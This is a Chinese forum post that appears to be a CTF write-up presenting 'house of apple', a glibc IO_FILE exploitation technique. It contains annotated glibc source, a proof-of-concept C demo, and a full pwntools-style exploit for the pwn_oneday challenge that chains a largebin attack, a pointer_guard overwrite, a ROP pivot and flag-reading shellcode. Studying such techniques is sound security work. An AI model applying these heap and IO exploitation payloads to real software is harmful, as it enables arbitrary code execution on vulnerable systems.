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[原创] House of apple 一种新的glibc中IO攻击方法 (1)
发表于: 2022-6-24 10:30 30780

[原创] House of apple 一种新的glibc中IO攻击方法 (1)

2022-6-24 10:30
30780

分享一种新的glibcIO利用思路,暂且命名为house of apple

house of apple系列利用方法文章:

众所周知,glibc高版本逐渐移除了__malloc_hook/__free_hook/__realloc_hook等等一众hook全局变量,ctfpwn题对hook钩子的利用将逐渐成为过去式。而想要在高版本利用成功,基本上就离不开对IO_FILE结构体的伪造与IO流的攻击。之前很多师傅都提出了一些优秀的攻击方法,比如house of pighouse of kiwihouse of emma等。

其中,house of pig除了需要劫持IO_FILE结构体,还需要劫持tcache_perthread_struct结构体或者能控制任意地址分配;house of kiwi则至少需要修改三个地方的值:_IO_helper_jumps + 0xA0_IO_helper_jumps + 0xA8,另外还要劫持_IO_file_jumps + 0x60处的_IO_file_sync指针;而house of emma则至少需要修改两个地方的值,一个是tls结构体的point_guard(或者想办法泄露出来),另外需要伪造一个IO_FILE或替换vtablexxx_cookie_jumps的地址。

总的来看,如果想使用上述方法成功地攻击IO,至少需要两次写或者一次写和一次任意地址读。而在只给一次任意地址写(如一次largebin attack)的情景下是很难利用成功的。

largebin attack是高版本中为数不多的可以任意地址写一个堆地址的方法,并常常和上述三种方法结合起来利用。本文将给出一种新的利用方法,在仅使用一次largebin attack并限制读写次数的条件下进行FSOP利用。顺便说一下,house of banana 也只需要一次largebin attack,但是其攻击的是rtld_global结构体,而不是IO流。

上述方法利用成功的前提均是已经泄露出libc地址和heap地址。本文的方法也不例外。

使用house of apple的条件为:
1、程序从main函数返回或能调用exit函数
2、能泄露出heap地址和libc地址
3、 能使用一次largebin attack(一次即可)

原理解释均基于amd64程序。

当程序从main函数返回或者执行exit函数的时候,均会调用fcloseall函数,该调用链为:

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow函数指针指向的函数。

使用largebin attack可以劫持_IO_list_all变量,将其替换为伪造的IO_FILE结构体,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE的一个成员_wide_data的利用。

amd64程序下,struct _IO_wide_data *_wide_data_IO_FILE中的偏移为0xa0

我们在伪造_IO_FILE结构体的时候,伪造_wide_data变量,然后通过某些函数,比如_IO_wstrn_overflow就可以将已知地址空间上的某些值修改为一个已知值。

分析一下这个函数,首先将fp强转为_IO_wstrnfile *指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end赋值为snf->overflow_buf或者与该地址一定范围内偏移的值;最后对fp->_wide_data_IO_write_ptr_IO_write_end赋值。

也就是说,只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址

这里有时候需要绕过_IO_wsetb函数里面的free

_IO_wstrnfile涉及到的结构体如下:

其中,overflow_buf相对于_IO_FILE结构体的偏移为0xf0,在vtable后面。

struct _IO_wide_data结构体如下:

换而言之,假如此时在堆上伪造一个_IO_FILE结构体并已知其地址为A,将A + 0xd8替换为_IO_wstrn_jumps地址,A + 0xc0设置为B,并设置其他成员以便能调用到_IO_OVERFLOWexit函数则会一路调用到_IO_wstrn_overflow函数,并将BB + 0x38的地址区域的内容都替换为A + 0xf0或者A + 0x1f0

简单写一个demo程序进行验证:

输出结果如下:

从输出中可以看到,已经成功修改了sdterr->_wide_data所指向的地址空间的内存。

从上面的分析可以,在只给了1largebin attack的前提下,能利用_IO_wstrn_overflow函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE结构体,并将这些结构体通过chain字段串联起来就能进行组合利用。基于此,我总结了house of apple下至少四种利用思路。

该思路需要借助house of pig的思想,利用_IO_str_overflow中的malloc进行任意地址分配,memcpy进行任意地址覆盖。其代码片段如下:

利用步骤如下:

因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps映射的地址空间可写的话直接修改其函数指针即可。

该思路与上述思路差不多,不过对tcachebin分配的劫持是通过修改mp_.tcache_bins这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls结构体的地址本地和远程并不一定是一样的,有时需要爆破。

利用步骤如下:

该思路其实就是house of apple + house of emma

利用步骤如下:

这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk,去覆盖掉point_guard或者tcache变量。我称之为house of apple + house of corrision

利用过程与前面也基本是大同小异,就不在此详述了。

其实也有其他的思路,比如还可以劫持main_arena,不过这个结构体利用起来会更复杂,所需要的空间将更大。而在上述思路的利用过程中,可以选择错位构造_IO_FILE结构体,只需要保证关键字段满足要求即可,这样可以更加节省空间。

这里以某次市赛的题为例,题目为pwn_oneday,附件下载链接在这里

这个题目禁止了execve系统调用,能分配的chunk的大小基本是固定的,并且只允许1次读和1次写,最多只能分配0x10次,使用的glibc版本为2.34

initial

首先是初始化,开启了沙盒:

image-20220615234316844

main

main函数必须选一个key,大小在6-10。也就是说,分配的chunk都会属于largebin范围。

image-20220615234353368

add

限制了只能分配key+0x10key+0x202 * key + 0x10大小的chunk

image-20220615234649462

dele

存在UAF,没有清空指针。

image-20220615234744558

read

只给1次机会读。

image-20220615234835069

write

只给一次机会写,并只泄露出0x10个字节的数据。

image-20220615234920427

这道题的限制还是很多的,当然,给的漏洞也很明显。但是程序里面没有使用与IO有关的函数,全部使用原始的read/write去完成读写操作,并且使用glibc-2.34版本,这个版本里面去掉了很多的hook变量。

很明显,需要使用一次读泄露出libc地址和heap地址,然后用一次写做一次largebin attack

如果用largebin attack去劫持_rtld_globallink_map成员,那么还需要一次写去绕过for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next),否则这里会造成死循环;如果打l_addr成员,会发现能分配的堆的空间不足,l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x201d70,而就算每次分配0xaa0 * 2 + 0x10,再分配16次也没这么大。至于劫持别的成员,受限于沙盒,也很难完成利用。

image-20220615235611606

由于限制了读写次数为1次,就很难再泄露出pointer_guard的值,也很难再覆盖pointer_guard的值,所以与pointer_guard有关的利用也基本行不通。

因此,选择使用house of apple劫持_IO_FILE->_wide_data成员进行利用。

在利用之前,还有一些准备工作需要做。我们需要进行合理的堆风水布局,使得能够在修改一个largebin chunk Abk_nextsize的同时伪造一个chunk B,并需要让AB在同一个bins数组中,然后释放B并进行largebin attack,这样就能保证既完成任意地址写堆地址,也能控制写的堆地址所属的chunk的内容。

对三种大小chunksize进行分析,并设x = key + 0x10y = key + 0x20, z = key * 2 + 0x10。那么有:

题目中还存在UAF,于是就可以的构造出如下布局:

堆风水步骤为:

经过计算,这里选择key0xa,此时chunk 1的大小为0xab0,伪造的chunk 3的大小为0xa80

基于上面对house of apple的分析,首先使用思路三修改pointer_guard,然后进行house of emma利用。由于pointer_guardfs:[0x30],而canaryfs:[0x28],所以直接找canary,然后利用pwndbgsearch命令搜索即可,如下所示:

image-20220616003350830

此时的利用步骤如下:

利用一次write的机会泄露出libc地址和heap地址

利用堆风水,构造1largebin attack,替换_IO_list_all为堆地址

利用house of apple,修改掉pointer_guard的值

利用house of emma并结合几个gadgets控制rsp

rop链输出flag

exp如下:

调试截图如下:

修改掉pointer_guard

image-20220616204035757

然后使用_IO_cookie_read控制程序执行流:

image-20220616204134860

成功劫持rsp

image-20220616204203067

接下来使用思路一,修改tcache变量,对于该变量的寻找同样可以使用search命令:

image-20220616204339971

此时的步骤如下:

exp如下:

调试截图:

修改掉tache变量:

image-20220616204846469

然后分配到_IO_str_jumps

image-20220616205014138

后面的过程就一样了:

image-20220616205139145

最后成功输出flag:

image-20220616205159794

之前的一些IO流攻击方法对_wide_data的关注甚少,本文提出一种新的方法,劫持了_wide_data成员并在仅进行1largebin attack的条件下成功进行FSOP利用。且该方法可通杀所有版本的glibc

可以看到,house of apple是对现有一些IO流攻击方法的补充,能在一次劫持IO流的过程中做到任意地址写已知值,进而构造出其他方法攻击成功的条件。

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data; // 劫持这个变量
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data; // 劫持这个变量
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
amd64:
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
amd64:
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
 
  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);
 
      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }
 
  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;
 
  /* Since we are not really interested in storing the characters
     which do not fit in the buffer we simply ignore it.  */
  return c;
}
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
  /* When we come to here this means the user supplied buffer is
     filled.  But since we must return the number of characters which
     would have been written in total we must provide a buffer for
     further use.  We can do this by writing on and on in the overflow
     buffer in the _IO_wstrnfile structure.  */
  _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
 
  if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
      _IO_wsetb (fp, snf->overflow_buf,
         snf->overflow_buf + (sizeof (snf->overflow_buf)
                      / sizeof (wchar_t)), 0);
 
      fp->_wide_data->_IO_write_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_base = snf->overflow_buf;
      fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
      fp->_wide_data->_IO_read_end = (snf->overflow_buf
                      + (sizeof (snf->overflow_buf)
                     / sizeof (wchar_t)));
    }
 
  fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
  fp->_wide_data->_IO_write_end = snf->overflow_buf;
 
  /* Since we are not really interested in storing the characters
     which do not fit in the buffer we simply ignore it.  */
  return c;
}
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
  if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
  f->_wide_data->_IO_buf_base = b;
  f->_wide_data->_IO_buf_end = eb;
  if (a)
    f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
  else
    f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
  if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
  f->_wide_data->_IO_buf_base = b;
  f->_wide_data->_IO_buf_end = eb;
  if (a)
    f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
  else
    f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};
 
struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;
 
typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  char overflow_buf[64];
} _IO_strnfile;
 
 
typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};
 
struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;
 
typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  char overflow_buf[64];
} _IO_strnfile;
 
 
typedef struct
{
  _IO_strfile f;
  /* This is used for the characters which do not fit in the buffer
     provided by the user.  */
  wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;   /* Start of putback+get area. */
  wchar_t *_IO_write_base;  /* Start of put area. */
  wchar_t *_IO_write_ptr;   /* Current put pointer. */
  wchar_t *_IO_write_end;   /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;     /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;   /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base; /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;   /* Start of putback+get area. */
  wchar_t *_IO_write_base;  /* Start of put area. */
  wchar_t *_IO_write_ptr;   /* Current put pointer. */
  wchar_t *_IO_write_end;   /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;     /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;   /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base; /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("[*] allocate a 0x100 chunk");
    size_t *p1 = malloc(0xf0);
    size_t *tmp = p1;
    size_t old_value = 0x1122334455667788;
    for (size_t i = 0; i < 0x100 / 8; i++)
    {
        p1[i] = old_value;
    }
    puts("===========================old value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================old value=======================");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
    printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
    size_t stderr_flags2_addr = puts_addr + 0x199804;
    printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
    size_t stderr_wide_data_addr = puts_addr + 0x199830;
    printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
    size_t sdterr_vtable_addr = puts_addr + 0x199868;
    printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
    size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    puts("[+] step 1: change stderr->_IO_write_ptr to -1");
    *(size_t *)stderr_write_ptr_addr = (size_t)-1;
 
    puts("[+] step 2: change stderr->_flags2 to 8");
    *(size_t *)stderr_flags2_addr = 8;
 
    puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
    *(size_t *)stderr_wide_data_addr = (size_t)p1;
 
    puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
    *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
 
    puts("[+] step 5: call fcloseall and trigger house of apple");
    fcloseall();
    tmp = p1;
    puts("===========================new value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================new value=======================");
}
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("[*] allocate a 0x100 chunk");
    size_t *p1 = malloc(0xf0);
    size_t *tmp = p1;
    size_t old_value = 0x1122334455667788;
    for (size_t i = 0; i < 0x100 / 8; i++)
    {
        p1[i] = old_value;
    }
    puts("===========================old value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================old value=======================");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
    printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
    size_t stderr_flags2_addr = puts_addr + 0x199804;
    printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
    size_t stderr_wide_data_addr = puts_addr + 0x199830;
    printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
    size_t sdterr_vtable_addr = puts_addr + 0x199868;
    printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
    size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    puts("[+] step 1: change stderr->_IO_write_ptr to -1");
    *(size_t *)stderr_write_ptr_addr = (size_t)-1;
 
    puts("[+] step 2: change stderr->_flags2 to 8");
    *(size_t *)stderr_flags2_addr = 8;
 
    puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
    *(size_t *)stderr_wide_data_addr = (size_t)p1;
 
    puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
    *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
 
    puts("[+] step 5: call fcloseall and trigger house of apple");
    fcloseall();
    tmp = p1;
    puts("===========================new value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================new value=======================");
}
roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788  0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770  0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770  0x00007f648ba40870
===========================new value=======================
roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788  0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770  0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770  0x00007f648ba40870
===========================new value=======================
int
_IO_str_overflow (FILE *fp, int c)
{
        // ......
      char *new_buf;
      char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size); // 这里任意地址分配
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
          free (old_buf);
      // .......
  }
int
_IO_str_overflow (FILE *fp, int c)
{
        // ......
      char *new_buf;
      char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
      size_t old_blen = _IO_blen (fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc (new_size); // 这里任意地址分配
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
          free (old_buf);
      // .......
  }
2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20
2 * y - z = 2 * key + 0x40 - 2 * key - 0x10 = 0x30
2 * y - 2 * x = 2 *key + 0x40 - 2 * key - 0x20 = 0x20
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
 
from pwncli import *
 
cli_script()
 
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
small = 1
medium = 2
large = 3
key = 10
 
def add(c):
    sla("enter your command: \n", "1")
    sla("choise: ", str(c))
 
def dele(i):
    sla("enter your command: \n", "2")
    sla("Index: \n", str(i))
 
def read_once(i, data):
    sla("enter your command: \n", "3")
    sla("Index: ", str(i))
    sa("Message: \n", flat(data, length=0x110 * key))
 
def write_once(i):
    sla("enter your command: \n", "4")
    sla("Index: ", str(i))
    ru("Message: \n")
    m = rn(0x10)
    d1 = u64_ex(m[:8])
    d2 = u64_ex(m[8:])
    log_address_ex("d1")
    log_address_ex("d2")
    return d1, d2
 
def bye():
    sla("enter your command: \n", "9")
 
 
sla("enter your key >>\n", str(key))
 
add(medium)
add(medium)
add(small)
 
dele(2)
dele(1)
dele(0)
 
add(small)
add(small)
add(small)
add(small)
 
dele(3)
dele(5)
m1, m2 = write_once(3)
libc_base = set_current_libc_base_and_log(m1, 0x1f2cc0)
heap_base = m2 - 0x17f0
 
dele(4)
dele(6)
 
add(large)
add(small)
add(small)
 
dele(8)
add(large)
 
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
 
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
 
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps
 
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
 
 
data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0x100:{
                0: bytes(f2),
                0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
                0x100: [
                    add_rsp_0x20_pop_rbx_ret,
                    chain + 0x100,
                    0,
                    0,
                    mov_rsp_rdx_ret,
                    0,
                    pop_rdi_ret,
                    chain & ~0xfff,
                    pop_rsi_ret,
                    0x4000,
                    pop_rdx_rbx_ret,
                    7, 0,
                    libc.sym.mprotect,
                    chain + 0x200
                ],
                0x200: ShellcodeMall.amd64.cat_flag
            }
        },
        0xa80: [0, 0xab1]
    }
})
 
read_once(5, data)
 
dele(2)
add(large)
 
bye()
 
ia()
 
ia()
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
 
from pwncli import *
 

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最后于 2023-12-20 13:31 被roderick01编辑 ,原因: 更新系列文章链接
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文章中涉及到题目附件,能否提供论坛本地一份?
2022-6-24 11:24
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Editor 文章中涉及到题目附件,能否提供论坛本地一份?
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牛啊牛
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太细了,还好我在博客看过了
2022-6-26 20:40
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兄弟这么猛的吗?
2022-6-27 08:37
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写得好啊

最后于 2022-7-30 12:15 被Ayakaaa编辑 ,原因:
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感谢分享
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有趣,感谢分享
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师傅大大带我
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从强网2024来看的,大佬,我还是看不懂
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